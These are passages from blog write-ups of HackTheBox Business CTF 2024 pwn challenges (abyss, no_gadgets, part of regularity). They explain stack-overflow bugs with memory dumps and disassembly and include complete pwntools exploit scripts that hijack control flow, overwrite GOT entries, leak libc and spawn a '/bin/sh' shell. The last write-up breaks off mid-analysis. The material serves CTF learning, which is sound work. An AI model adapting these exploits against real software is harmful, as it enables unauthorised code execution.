You can download the source code of the challenge here. main just reads the valid user and pass combination from the .creds file to global variables and then waits for our command. READ command allows us to read a file on the server (flag.txt), but only if the global logged_in variable is not 0. LOGIN command allows us to provide a username and a password. If they match the ones that were read previously, logged_in is set to 1.

Exploit #

The vulnerability is present in cmd_login() function.

void cmd_login()
{
    char pass[MAX_ARG_SIZE] = {0};
    char user[MAX_ARG_SIZE] = {0};
    char buf[MAX_ARG_SIZE];
    int i;

    memset(buf, '\0', sizeof(buf));
    if (read(0, buf, sizeof(buf)) < 0)
        return;

    if (strncmp(buf, "USER ", 5))
        return;

    i = 5;
    while (buf[i] != '\0')
    {
        user[i - 5] = buf[i];
        i++;
    }
    user[i - 5] = '\0';

    memset(buf, '\0', sizeof(buf));
    if (read(0, buf, sizeof(buf)) < 0)
        return;

    if (strncmp(buf, "PASS ", 5))
        return;

    i = 5;
    while (buf[i] != '\0')
    {
        pass[i - 5] = buf[i];
        i++;
    }
    pass[i - 5] = '\0';

    if (!strcmp(VALID_USER, user) && !strcmp(VALID_PASS, pass))
    {
        logged_in = 1;
        puts("Successful login");
    }
}

It reads the user input to a zeroed 512 byte long buffer buf. Then copies it to user buffer until it sees a \0 byte. The problem with this is, that if we send exactly 512 non-zero bytes to read, when the cycle reaches the last byte of buf, it won't stop, because the next byte (the first byte of user) is not 00, it's the copied first byte of buf. So the copy won't stop here. Actually it wouldn't ever stop if it wasn't for i.

7ffd4317cc50: 5553 4552 2061 6161 6161 6161 6161 6161  USER aaaaaaaaaaa    <- buf
7ffd4317cc60: 6161 6161 6161 1c6b 6b6b 6b6b 6b6b 6b6b  aaaaaa.kkkkkkkkk
7ffd4317cc70: 6b6b eb14 4000 0000 0000 0000 0000 0000  kk..@...........
7ffd4317cc80: 0000 0000 0000 0000 0000 0000 0000 0000  ................
*
7ffd4317ce40: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffd4317ce50: 0000 0000 0000 0000 0000 0000 0000 0000  ................    <- user
*
7ffd4317d040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffd4317d050: 0000 0000 0000 0000 0000 0000 0000 0000  ................    <- pass
*
7ffd4317d240: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffd4317d250: b8e3 1743 fd7f 0000 e0d2 6157 0500 0000  ...C......aW....    <- i (last 4 bytes)
7ffd4317d260: 90e2 1743 fd7f 0000 ba17 4000 0000 0000  ...C......@.....

As you can see, i is 12 bytes after pass. (those 12 bytes are not used they are just skipped for alignment) The copy operation is the same for pass. So our exploit sequence is: Insert specific data in buf (more on this later). This gets copied to user. So our stack looks like this, after buf gets cleared:

7ffd4317cc50: 0000 0000 0000 0000 0000 0000 0000 0000  ................    <- buf
*
7ffd4317ce40: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffd4317ce50: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa    <- user
7ffd4317ce60: 611c 6b6b 6b6b 6b6b 6b6b 6b6b 6beb 1440  a.kkkkkkkkkkk..@
7ffd4317ce70: 0000 0000 0000 0000 0000 0000 0000 0000  ................
*
7ffd4317d040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffd4317d050: 0000 0000 0000 0000 0000 0000 0000 0000  ................    <- pass
*
7ffd4317d240: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffd4317d250: b8e3 1743 fd7f 0000 e0d2 6157 0500 0000  ...C......aW....    <- i (last 4 bytes)
7ffd4317d260: 90e2 1743 fd7f 0000 ba17 4000 0000 0000  ...C......@.....

Next, we fill buf with all non-zero bytes. As you can see, the first 00 byte is at 7ffd4317ce70 in the user array. When buf gets copied to pass, the content from user+5 (all the as) (+5 because PASS will be stripped from buf) will overwrite bytes starting from 7ffd4317ce70.

7ffd4317cc50: 5041 5353 2062 6262 6262 6262 6262 6262  PASS bbbbbbbbbbb    <- buf
7ffd4317cc60: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
*
7ffd4317ce40: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
7ffd4317ce50: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa    <- user
7ffd4317ce60: 611c 6b6b 6b6b 6b6b 6b6b 6b6b 6beb 1440  a.kkkkkkkkkkk..@
7ffd4317ce70: 0000 0000 0000 0000 0000 0000 0000 0000  ................
*
7ffd4317d040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffd4317d050: 0000 0000 0000 0000 0000 0000 0000 0000  ................    <- pass
*
7ffd4317d240: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffd4317d250: b8e3 1743 fd7f 0000 e0d2 6157 0500 0000  ...C......aW....    <- i (last 4 bytes)
7ffd4317d260: 90e2 1743 fd7f 0000 ba17 4000 0000 0000  ...C......@.....

The first non-a (1c) will overwrite the lowest byte of i. So let's view the stack right before the overwrite.

7ffd4317cc50: 5041 5353 2062 6262 6262 6262 6262 6262  PASS bbbbbbbbbbb    <- buf
7ffd4317cc60: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
*
7ffd4317ce40: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
7ffd4317ce50: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa    <- user
7ffd4317ce60: 611c 6b6b 6b6b 6b6b 6b6b 6b6b 6beb 1440  a.kkkkkkkkkkk..@
7ffd4317ce70: 0000 0000 0000 0000 0000 0000 0000 0000  ................
*
7ffd4317d040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffd4317d050: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb    <- pass
*
7ffd4317d230: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
7ffd4317d240: 6262 6262 6262 6262 6262 6261 6161 6161  bbbbbbbbbbbaaaaa
7ffd4317d250: 6161 6161 6161 6161 6161 6161 1102 0000  aaaaaaaaaaaa....    <- i (last 4 bytes)
7ffd4317d260: 90e2 1743 fd7f 0000 ba17 4000 0000 0000  ...C......@.....

As you can see the current value of i is 0x211, this is the offset of the next write from 7ffd4317d050 (-5), so the next write is at 7ffd4317d050 + 0x211 - 5 = 7ffd4317d25c right on top of i itself!. So with the next byte (1c), we are going to overwrite the lowest byte of i, to "jump over" i and RBP and perform the next write at 7ffd4317d268, the return address. This is after the overwrite:

7ffd4317cc50: 5041 5353 2062 6262 6262 6262 6262 6262  PASS bbbbbbbbbbb    <- buf
7ffd4317cc60: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
*
7ffd4317ce40: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
7ffd4317ce50: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa    <- user
7ffd4317ce60: 611c 6b6b 6b6b 6b6b 6b6b 6b6b 6beb 1440  a.kkkkkkkkkkk..@
7ffd4317ce70: 0000 0000 0000 0000 0000 0000 0000 0000  ................
*
7ffd4317d040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffd4317d050: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb    <- pass
*
7ffd4317d230: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
7ffd4317d240: 6262 6262 6262 6262 6262 6261 6161 6161  bbbbbbbbbbbaaaaa
7ffd4317d250: 6161 6161 6161 6161 6161 6161 1c02 0000  aaaaaaaaaaaa....    <- i (last 4 bytes)
7ffd4317d260: 90e2 1743 fd7f 0000 ba17 4000 0000 0000  ...C......@.....

So now, the next write will be at 7ffd4317d050 + 0x21c + 1 - 5 = 7ffd4317d268 (the +1 is the i++ after the write). This is what the stack looks like at the end of pass copy:

7ffd4317cc50: 5041 5353 2062 6262 6262 6262 6262 6262  PASS bbbbbbbbbbb    <- buf
7ffd4317cc60: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
*
7ffd4317ce40: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
7ffd4317ce50: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa    <- user
7ffd4317ce60: 611c 6b6b 6b6b 6b6b 6b6b 6b6b 6beb 1440  a.kkkkkkkkkkk..@
7ffd4317ce70: 0000 0000 0000 0000 0000 0000 0000 0000  ................
*
7ffd4317d040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffd4317d050: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb    <- pass
*
7ffd4317d230: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
7ffd4317d240: 6262 6262 6262 6262 6262 6261 6161 6161  bbbbbbbbbbbaaaaa
7ffd4317d250: 6161 6161 6161 6161 6161 6161 2002 0000  aaaaaaaaaaaa ...    <- i (last 4 bytes)
7ffd4317d260: 90e2 1743 fd7f 0000 eb14 4000 0000 0000  ...C......@.....

As you can see we overwrote the return address to 0x4014eb, right after the check of logged_in in cmd_read():

// EAX = 14 at this point
004014eb 85 c0           TEST       EAX,EAX
004014ed 75 11           JNZ        LAB_00401500
004014ef 48 8d 3d        LEA        RDI,[s_Not_logged_in_00402021]                   = "Not logged in"
          2b 0b 00 00
004014f6 e8 15 fc        CALL       libc.so.6::puts                                  int puts(char * __s)
          ff ff
004014fb e9 b3 00        JMP        LAB_004015b3
          00 00

Now all we need to do is send flag.txt and that's it.

Here is the full exploit code:

from pwn import *
from pwnlib.util.cyclic import cyclic_gen
from pwnlib.util.fiddling import enhex, xor
from struct import pack

p = None

def run():
    global p
    chall = "./abyss"
    context.binary = chall
    context.log_level = 'debug'
    p = process(chall)
#    p = remote("83.136.253.153", "58350")
    elf = ELF(chall)
#    libc = ELF("libc-2.31.so")

    g = cyclic_gen()
    p.send(p32(0))
    RET = b'\xeb\x14\x40' # 0x401485
    payload = b'a'*(0x5+0xc)
    payload += b'\x1c' + b'k'*(0xb) + RET
    p.send(b'USER ' + payload)

    p.send(b'PASS ' + b'b'*(0x200-5))

    p.send(b'flag.txt')
    p.interactive()

if __name__ == "__main__":
    run()
https://blog.ukatemi.com/blog/2024-05-17-hackthebox-business-pwn-abyss/
HTB Business CTF 2024 - pwn - no_gadgets
Show full content
TL;DR #

Using fgets stack buffer overflow, gain arbitrary write to known address using RBP control. Use this to overwrite strlen@.got.plt with call printf to leak libc address (others with their original resolver) and use the same technique to call system("/bin/sh").

This challenge was marked easy (40 solves) but I only got on the right track 1h before the end of the event so I couldn't solve it till the end.

The task #

The challenge has no stack canary and no PIE:

$ checksec ./challenge/no_gadgets
[*] '/home/cstamas/ctf/2024-05-18-hackthebox-business/pwn/pwn_no_gadgets/challenge/no_gadgets'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

Our task was to exploit an fgets stack buffer overflow in a binary with almost no ROP gadgets.

undefined8 main(void)

{
  size_t sVar1;
  char local_88 [128];
  
  setup();
  puts(&DAT_00402008);
  puts("Welcome to No Gadgets, the ropping experience with absolutely no gadgets!");
  printf("Data: ");
  fgets(local_88,0x1337,stdin);
  sVar1 = strlen(local_88);
  if (0x80 < sVar1) {
    puts("Woah buddy, you\'ve entered so much data that you\'ve reached the point of no return!");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  puts("Pathetic, \'tis but a scratch!");
  return 0;
}
Exploit #

The challenge uses fgets which reads until a \n (0a) character, includes it in the output and appends a closing 00, so our input will always end in 0a00. This very much limits partial overwrite techniques. I viewed most libc addresses currently on the stack that we could partially overwrite by 00 or 0a00 (with 1/16 chance of correct address), but couldn't find anything useful. Usage of both printf with a single argument is suspicious. Let's look at the memory layout of the process:

$ cat /proc/15088/maps
003ff000-00400000 rw-p 00000000 103:03 28451590                          pwn_no_gadgets/challenge/no_gadgets
00400000-00401000 r--p 00001000 103:03 28451590                          pwn_no_gadgets/challenge/no_gadgets
00401000-00402000 r-xp 00002000 103:03 28451590                          pwn_no_gadgets/challenge/no_gadgets
00402000-00403000 r--p 00003000 103:03 28451590                          pwn_no_gadgets/challenge/no_gadgets
00403000-00404000 r--p 00003000 103:03 28451590                          pwn_no_gadgets/challenge/no_gadgets
00404000-00405000 rw-p 00004000 103:03 28451590                          pwn_no_gadgets/challenge/no_gadgets
713d88c00000-713d88c28000 r--p 00000000 103:03 28451592                  pwn_no_gadgets/challenge/libc.so.6
713d88c28000-713d88dbd000 r-xp 00028000 103:03 28451592                  pwn_no_gadgets/challenge/libc.so.6
713d88dbd000-713d88e15000 r--p 001bd000 103:03 28451592                  pwn_no_gadgets/challenge/libc.so.6
713d88e15000-713d88e19000 r--p 00214000 103:03 28451592                  pwn_no_gadgets/challenge/libc.so.6
713d88e19000-713d88e1b000 rw-p 00218000 103:03 28451592                  pwn_no_gadgets/challenge/libc.so.6
713d88e1b000-713d88e28000 rw-p 00000000 00:00 0
713d88eb7000-713d88ebc000 rw-p 00000000 00:00 0
713d88ebc000-713d88ec0000 r--p 00000000 00:00 0                          [vvar]
713d88ec0000-713d88ec2000 r-xp 00000000 00:00 0                          [vdso]
713d88ec2000-713d88ec4000 r--p 00000000 103:03 28451593                  pwn_no_gadgets/challenge/ld-2.35.so
713d88ec4000-713d88eee000 r-xp 00002000 103:03 28451593                  pwn_no_gadgets/challenge/ld-2.35.so
713d88eee000-713d88ef9000 r--p 0002c000 103:03 28451593                  pwn_no_gadgets/challenge/ld-2.35.so
713d88efa000-713d88efc000 r--p 00037000 103:03 28451593                  pwn_no_gadgets/challenge/ld-2.35.so
713d88efc000-713d88efe000 rw-p 00039000 103:03 28451593                  pwn_no_gadgets/challenge/ld-2.35.so
7ffc93809000-7ffc9382a000 rw-p 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]

We can only select ROP gadgets from executable segments that we know the address of. So it only leaves 00401000-00402000, the code in the challenge binary itself. Let's view the few gadgets we have:

$ ROPgadget --binary ./challenge/no_gadgets
Gadgets information
============================================================
0x0000000000401077 : add al, 0 ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401057 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x00000000004010eb : add bh, bh ; loopne 0x401155 ; nop ; ret
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401270 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x00000000004010b8 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x0000000000401271 : add byte ptr [rax], al ; add cl, cl ; ret
0x000000000040115a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020
0x0000000000401272 : add byte ptr [rax], al ; leave ; ret
0x00000000004010ba : add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x0000000000401054 : add byte ptr [rax], al ; push 2 ; jmp 0x401020
0x0000000000401064 : add byte ptr [rax], al ; push 3 ; jmp 0x401020
0x0000000000401074 : add byte ptr [rax], al ; push 4 ; jmp 0x401020
0x0000000000401084 : add byte ptr [rax], al ; push 5 ; jmp 0x401020
0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax
0x000000000040115b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401273 : add cl, cl ; ret
0x00000000004010ea : add dil, dil ; loopne 0x401155 ; nop ; ret
0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040115c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401157 : add eax, 0x2f0b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401067 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401013 : add esp, 8 ; ret
0x0000000000401012 : add rsp, 8 ; ret
0x00000000004011d3 : call qword ptr [rax + 0x4855c35d]
0x0000000000401010 : call rax
0x0000000000401173 : cli ; jmp 0x401100
0x0000000000401170 : endbr64 ; jmp 0x401100
0x000000000040100e : je 0x401012 ; call rax
0x00000000004010e5 : je 0x4010f0 ; mov edi, 0x404040 ; jmp rax
0x0000000000401127 : je 0x401130 ; mov edi, 0x404040 ; jmp rax
0x000000000040103b : jmp 0x401020
0x0000000000401174 : jmp 0x401100
0x00000000004010ec : jmp rax
0x0000000000401274 : leave ; ret
0x00000000004010ed : loopne 0x401155 ; nop ; ret
0x0000000000401156 : mov byte ptr [rip + 0x2f0b], 1 ; pop rbp ; ret
0x0000000000401062 : mov dl, 0x2f ; add byte ptr [rax], al ; push 3 ; jmp 0x401020
0x000000000040126f : mov eax, 0 ; leave ; ret
0x00000000004010e7 : mov edi, 0x404040 ; jmp rax
0x0000000000401052 : mov edx, 0x6800002f ; add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401082 : movabs byte ptr [0x56800002f], al ; jmp 0x401020
0x00000000004011d4 : nop ; pop rbp ; ret
0x00000000004010ef : nop ; ret
0x000000000040116c : nop dword ptr [rax] ; endbr64 ; jmp 0x401100
0x00000000004010bc : nop dword ptr [rax] ; ret
0x00000000004010e6 : or dword ptr [rdi + 0x404040], edi ; jmp rax
0x0000000000401158 : or ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040115d : pop rbp ; ret
0x0000000000401036 : push 0 ; jmp 0x401020
0x0000000000401046 : push 1 ; jmp 0x401020
0x0000000000401056 : push 2 ; jmp 0x401020
0x0000000000401066 : push 3 ; jmp 0x401020
0x0000000000401076 : push 4 ; jmp 0x401020
0x0000000000401086 : push 5 ; jmp 0x401020
0x0000000000401016 : ret
0x0000000000401042 : ret 0x2f
0x0000000000401022 : retf 0x2f
0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401279 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000401278 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040100c : test eax, eax ; je 0x401012 ; call rax
0x00000000004010e3 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404040 ; jmp rax
0x0000000000401125 : test eax, eax ; je 0x401130 ; mov edi, 0x404040 ; jmp rax
0x000000000040100b : test rax, rax ; je 0x401012 ; call rax

Unique gadgets found: 68

They didn't lie, this isn't much. We can:

  • control RBP (with pop rbp ; ret)
  • jmp or call to RAX, but cannot control its value
  • modify cl (with add cl, cl ; ret)

The registers when we hit RET:

RSP	= 7ffc93827ce8
RIP	= 401275
RAX	= 0
RCX	= 713d88d14a37
RDX	= 1
RBX	= 0
RBP	= WE CONTROL IT
RSI	= 1
RDI	= 713d88e1ba70
R8	= 1d
R9	= 0
R10	= 713d88c0e940
R11	= 246
R12	= 7ffc93827df8
R13	= 4011d7
R14	= 403e00
R15	= 713d88efc040

main ends in LEAVE (which is mov RSP, RBP; pop RBP), so we control RBP with our overflow.

00401274 c9              LEAVE
00401275 c3              RET

Ok, so ROP chaining isn't viable because of the lack of gadgets. But we can still jump to other addresses in the binary. ROPgadgets won't list these as they don't end in a ret, jmp, call or variants.

00401207 48 8d 05        LEA        RAX,[s_Data:_0040259a]                           = "Data: "
         8c 13 00 00
0040120e 48 89 c7        MOV        RDI=>s_Data:_0040259a,RAX                        = "Data: "
00401211 b8 00 00        MOV        EAX,0x0
         00 00
00401216 e8 35 fe        CALL       ::printf                               int printf(char * __format, ...)
         ff ff
0040121b 48 8b 15        MOV        RDX,qword ptr [stdin]
         2e 2e 00 00
00401222 48 8d 45 80     LEA        RAX=>local_88,[RBP + -0x80]
00401226 be 37 13        MOV        ESI,0x1337
         00 00
0040122b 48 89 c7        MOV        RDI,RAX
0040122e e8 2d fe        CALL       ::fgets                                char * fgets(char * __s, int __n, FILE * __stream)
         ff ff
00401233 48 8d 45 80     LEA        RAX=>local_88,[RBP + -0x80]
00401237 48 89 c7        MOV        RDI,RAX
0040123a e8 01 fe        CALL       ::strlen                               size_t strlen(char * __s)
         ff ff

Remember, that we control the value of RBP so if we jump to 0040121b and execute until fgets, RDI = RAX = RBP-0x80 assignment will take place, so we control RDI which holds the destination buffer address for fgets. With this, we can write any data (that doesn't have 0a in it) to a known address. There are two segments that match this criteria.

003ff000-00400000 rw-p 00000000 103:03 28451590                          pwn_no_gadgets/challenge/no_gadgets
00404000-00405000 rw-p 00004000 103:03 28451590                          pwn_no_gadgets/challenge/no_gadgets

The first contains the header of the executable and many zeros, we cannot use this. The second one contains .got.plt. Because the binary is Rartial RELRO (RELocation Read-Only), we can overwrite entries in the .got.plt. Ok, we are getting somewhere! So if we overwrite the saved RBP on the stack with 0x404000 + 0x80 = 0x404080 and jump back to 0x40121b, we can overwrite the complete .got.plt. Ok, so what should we write?

                     PTR_puts_00404000                               XREF[1]:     puts:00401030  
00404000 08 50 40        addr       ::puts                                 = ??
         00 00 00 
         00 00
                     PTR_strlen_00404008                             XREF[1]:     strlen:00401040  
00404008 10 50 40        addr       ::strlen                               = ??
         00 00 00 
         00 00
                     PTR_printf_00404010                             XREF[1]:     printf:00401050  
00404010 18 50 40        addr       ::printf                               = ??
         00 00 00 
         00 00
                     PTR_fgets_00404018                              XREF[1]:     fgets:00401060  
00404018 20 50 40        addr       ::fgets                                = ??
         00 00 00 
         00 00
                     PTR_setvbuf_00404020                            XREF[1]:     setvbuf:00401070  
00404020 30 50 40        addr       ::setvbuf                              = ??
         00 00 00 
         00 00

strlen@.got.plt is a good target as it is a function that gets a single argument, the address of our input buffer where we just wrote. If we could overwrite strlen with system, we could call system("/bin/sh"). But for this, we need to know where libc is loaded in memory. (partially overwriting strlen's address with 00 won't give us system, nor a One Gadget, but was worth a thought) So we need to leak (print to stdout) a libc address and trigger the vulnerability again.

We can use printf to print its arguments as addresses with %p or more fancily with $1%016lx. As the first argument is the format string itself (in RDI), this is going to print the values of RSI, RDX, RCX, R8, R9 and then things on stack. So with %p%p%p%p we can print RSI, RDX, RCX, R8. Ok, so %p%p%p%p (8 bytes) overwrite puts@.got.plt, next up is strlen and it should somehow result in a printf call without calling puts, because it's address is overwritten with %p%p%p%p and would result in SIGSEGV. And also it should retrigger our vulnerability. So let's just overwrite it with 00401216 which is call <EXTERNAL>::printf and fgets will follow. And let's overwrite all the leftover .got.plt entries with their original resolver address, so they get resolved again and work correctly.

payload = b''
payload += b'\x00'*0x80
payload += p64(elf.got['puts'] + 0x80) + p64(0x401275) + p64(0x40121b)

p.sendlineafter(b"Data: ", payload)

# We use got.puts to hold our payload
payload = b'%p%p%p%p' # got.puts
# Then we repopulate all got entries by plt resolver
payload += p64(0x0000000000401211) # got.strlen -> call printf
payload += p64(elf.plt['printf'] + 0x6) # got.printf
payload += p64(elf.plt['fgets'] + 0x6) # got.fgets
payload += p64(elf.plt['setvbuf'] + 0x6) # got.setvbuf
payload += p64(elf.plt['exit'] + 0x6) # got.exit
assert b'\x0a' not in payload, 'Wrong char in payload'
p.sendline(payload)

You may notice that there is an extra p64(0x401275) we haven't talked about. This is just a ret for alignment, because otherwise calling printf fails with SIGSEGV. Any odd number of rets would work.

This is what the stack looks like after the overwrite:

7ffc93827c60: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffc93827c70: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffc93827c80: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffc93827c90: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffc93827ca0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffc93827cb0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffc93827cc0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffc93827cd0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffc93827ce0: 8040 4000 0000 0000 7512 4000 0000 0000  .@@.....u.@.....
7ffc93827cf0: 1b12 4000 0000 0000 0a00 4000 0000 0000  ..@.......@.....

And this is the original .got.plt:

00404000: d00e c888 3d71 0000 60d9 d988 3d71 0000  ....=q..`...=q..
00404010: 7007 c688 3d71 0000 00f4 c788 3d71 0000  p...=q......=q..
00404020: 7016 c888 3d71 0000 8610 4000 0000 0000  p...=q....@.....

And this is after the overwrite:

00404000: 2570 2570 2570 2570 1112 4000 0000 0000  %p%p%p%p..@.....
00404010: 5610 4000 0000 0000 6610 4000 0000 0000  V.@.....f.@.....
00404020: 7610 4000 0000 0000 8610 4000 0000 0000  v.@.......@.....

Now we can parse the leaked value of RSI and calculate the base address of libc:

p.recvuntil(b'scratch!\n')
leak = int(p.recv(64)[2:14], 16)
libc_base = leak - 0x219b23
libc.address = libc_base

print(f'LIBC_BASE = {hex(libc_base)}')

As the vuln vas triggered again right away, we can call system("/bin/sh") with the same strlen@.got.plt overwrite.

payload = b'/bin/sh\x00' # got.puts
payload += p64(libc.symbols['system']) # got.strlen

p.sendline(payload)

p.interactive()

Here is the full solution:

from pwn import *
from pwnlib.util.cyclic import cyclic_gen
from pwnlib.util.fiddling import enhex, xor
from struct import pack

p = None


def run():
    global p
    chall = './no_gadgets'
    context.binary = chall
#    context.log_level = 'debug'
    p = process(chall)
#    p = remote("94.237.56.30", "41910")
    elf = ELF(chall)
    rop = ROP(elf)
    libc = ELF('./libc.so.6')

    pause()

    RBP = p64(0x00401216 + 0x80)
    payload = b''
    payload += b'\x00'*0x80
    payload += p64(elf.got['puts'] + 0x80) + p64(0x401275) + p64(0x40121b)

    p.sendlineafter(b"Data: ", payload)

    # We use got.puts to hold our payload
    payload = b'%p%p%p%p' # got.puts
    # Then we repopulate all got entries by plt resolver
    payload += p64(0x0000000000401211) # got.strlen -> call printf
    payload += p64(elf.plt['printf'] + 0x6) # got.printf
    payload += p64(elf.plt['fgets'] + 0x6) # got.fgets
    payload += p64(elf.plt['setvbuf'] + 0x6) # got.setvbuf
    payload += p64(elf.plt['exit'] + 0x6) # got.exit

    assert b'\x0a' not in payload, 'Wrong char in payload'

    p.sendline(payload)

    p.recvuntil(b'scratch!\n')
    leak = int(p.recv(64)[2:14], 16)
    libc_base = leak - 0x219b23
    libc.address = libc_base

    print(f'LIBC_BASE = {hex(libc_base)}')

    payload = b'/bin/sh\x00' # got.puts
    payload += p64(libc.symbols['system']) # got.printf and also strlen

    p.sendline(payload)

    p.interactive()

if __name__ == "__main__":
    run()
https://blog.ukatemi.com/blog/2024-05-17-hackthebox-business-pwn-no_gadgets/
HTB Business CTF 2024 - pwn - regularity
Show full content
TL;DR #

Using the read function, we can write our shellcode to the stack and return to a jmp rsi gadget to jump on it, using the 0x10 byte stack buffer overflow.

This challenge was marked very easy (~140 solves) but it took a looong time for me to figure out why. First I came up with a longer solution that didn't work on the remote server, but more on this bellow.

The task #

It is a very basic, static program.

# checksec ./regularity
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments

This is the entry function.

void processEntry entry(void)

{
  write(1,&message1,0x2a);
  read();
  write(1,&message3,0x27);
  syscall();
                    /* WARNING: Bad instruction - Truncating control flow here */
  halt_baddata();
}

The write function is esentially just a syscall.

                     ssize_t __stdcall write(int __fd, void * __buf, size_t __n)
     ssize_t           RAX:8          
     int               EDI:4          __fd
     void *            RSI:8          __buf
     size_t            RDX:8          __n
                     write
00401043 b8 01 00        MOV        EAX,0x1
         00 00
00401048 0f 05           SYSCALL
0040104a c3              RET

The read function is more important as it contains the stack buffer overflow. 0x100 is substracted from RSP by 0x110 is read, which results in a 0x10 (2 addresses) overflow. There is no RBP used, so the return address comes right after our buffer. Another thing to keep in mind is that when we reach RET, RSI still points to our buffer.

                     ssize_t __stdcall read(void)
     ssize_t           RAX:8          
     undefined1        Stack[-0x100...   local_100
                     read  
0040104b 48 81 ec        SUB        RSP,0x100
         00 01 00 00
00401052 b8 00 00        MOV        EAX,0x0
         00 00
00401057 bf 00 00        MOV        EDI,0x0
         00 00
0040105c 48 8d 34 24     LEA        RSI=>local_100,[RSP]
00401060 ba 10 01        MOV        EDX,0x110
         00 00
00401065 0f 05           SYSCALL
00401067 48 81 c4        ADD        RSP,0x100
         00 01 00 00
0040106e c3              RET
Exploit #

The RWX stack is an obvious target, so we load our shellcode to the stack using read and then somehow jump on it. The somehow is the fun part.

Attempt 1 (works locally but not remotely) #

Let's have a look at the stack when we hit the first write syscall.

RSP            = 7ffe22766a68
RETURN ADDRESS = 7ffe22766b68
7ffe22766a60: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766a70: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766a80: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766a90: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766aa0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766ab0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766ac0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766ad0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766ae0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766af0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766b00: 0000 0000 0000 0000 0000 0000 0000 0000  ................
